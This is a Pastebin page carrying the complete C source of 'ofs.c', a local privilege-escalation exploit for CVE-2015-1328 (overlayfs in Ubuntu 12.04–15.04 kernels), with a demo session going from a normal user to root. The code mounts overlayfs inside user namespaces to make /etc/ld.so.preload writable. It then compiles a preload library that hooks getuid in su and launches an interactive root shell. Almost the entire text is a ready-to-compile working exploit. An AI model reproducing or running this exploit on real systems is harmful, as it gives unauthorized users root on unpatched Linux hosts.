Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- # Exploit Title: ofs.c - overlayfs local root in ubuntu
- # Date: 2015-06-15
- # Exploit Author: rebel
- # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
- # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
- # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
- *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
- CVE-2015-1328 / ofs.c
- overlayfs incorrect permission handling + FS_USERNS_MOUNT
- user@ubuntu-server-1504:~$ uname -a
- Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
- user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
- user@ubuntu-server-1504:~$ id
- uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
- user@ubuntu-server-1504:~$ ./ofs
- spawning threads
- mount #1
- mount #2
- child threads done
- /etc/ld.so.preload created
- creating shared library
- # id
- uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
- greets to beist & kaliman
- 2015-05-24
- %rebel%
- *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sched.h>
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <sys/mount.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sched.h>
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <sys/mount.h>
- #include <sys/types.h>
- #include <signal.h>
- #include <fcntl.h>
- #include <string.h>
- #include <linux/sched.h>
- #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
- static char child_stack[1024*1024];
- static int
- child_exec(void *stuff)
- {
- char *file;
- system("rm -rf /tmp/ns_sploit");
- mkdir("/tmp/ns_sploit", 0777);
- mkdir("/tmp/ns_sploit/work", 0777);
- mkdir("/tmp/ns_sploit/upper",0777);
- mkdir("/tmp/ns_sploit/o",0777);
- fprintf(stderr,"mount #1\n");
- if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
- // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
- if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
- fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
- exit(-1);
- }
- file = ".access";
- chmod("/tmp/ns_sploit/work/work",0777);
- } else file = "ns_last_pid";
- chdir("/tmp/ns_sploit/o");
- rename(file,"ld.so.preload");
- chdir("/");
- umount("/tmp/ns_sploit/o");
- fprintf(stderr,"mount #2\n");
- if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
- if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
- exit(-1);
- }
- chmod("/tmp/ns_sploit/work/work",0777);
- }
- chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
- umount("/tmp/ns_sploit/o");
- }
- int
- main(int argc, char **argv)
- {
- int status, fd, lib;
- pid_t wrapper, init;
- int clone_flags = CLONE_NEWNS | SIGCHLD;
- fprintf(stderr,"spawning threads\n");
- if((wrapper = fork()) == 0) {
- if(unshare(CLONE_NEWUSER) != 0)
- fprintf(stderr, "failed to create new user namespace\n");
- if((init = fork()) == 0) {
- pid_t pid =
- clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
- if(pid < 0) {
- fprintf(stderr, "failed to create new mount namespace\n");
- exit(-1);
- }
- waitpid(pid, &status, 0);
- }
- waitpid(init, &status, 0);
- return 0;
- }
- usleep(300000);
- wait(NULL);
- fprintf(stderr,"child threads done\n");
- fd = open("/etc/ld.so.preload",O_WRONLY);
- if(fd == -1) {
- fprintf(stderr,"exploit failed\n");
- exit(-1);
- }
- fprintf(stderr,"/etc/ld.so.preload created\n");
- fprintf(stderr,"creating shared library\n");
- lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
- write(lib,LIB,strlen(LIB));
- close(lib);
- lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
- if(lib != 0) {
- fprintf(stderr,"couldn't create dynamic library\n");
- exit(-1);
- }
- write(fd,"/tmp/ofs-lib.so\n",16);
- close(fd);
- system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
- execl("/bin/su","su",NULL);
- }
Add Comment
Please, Sign In to add comment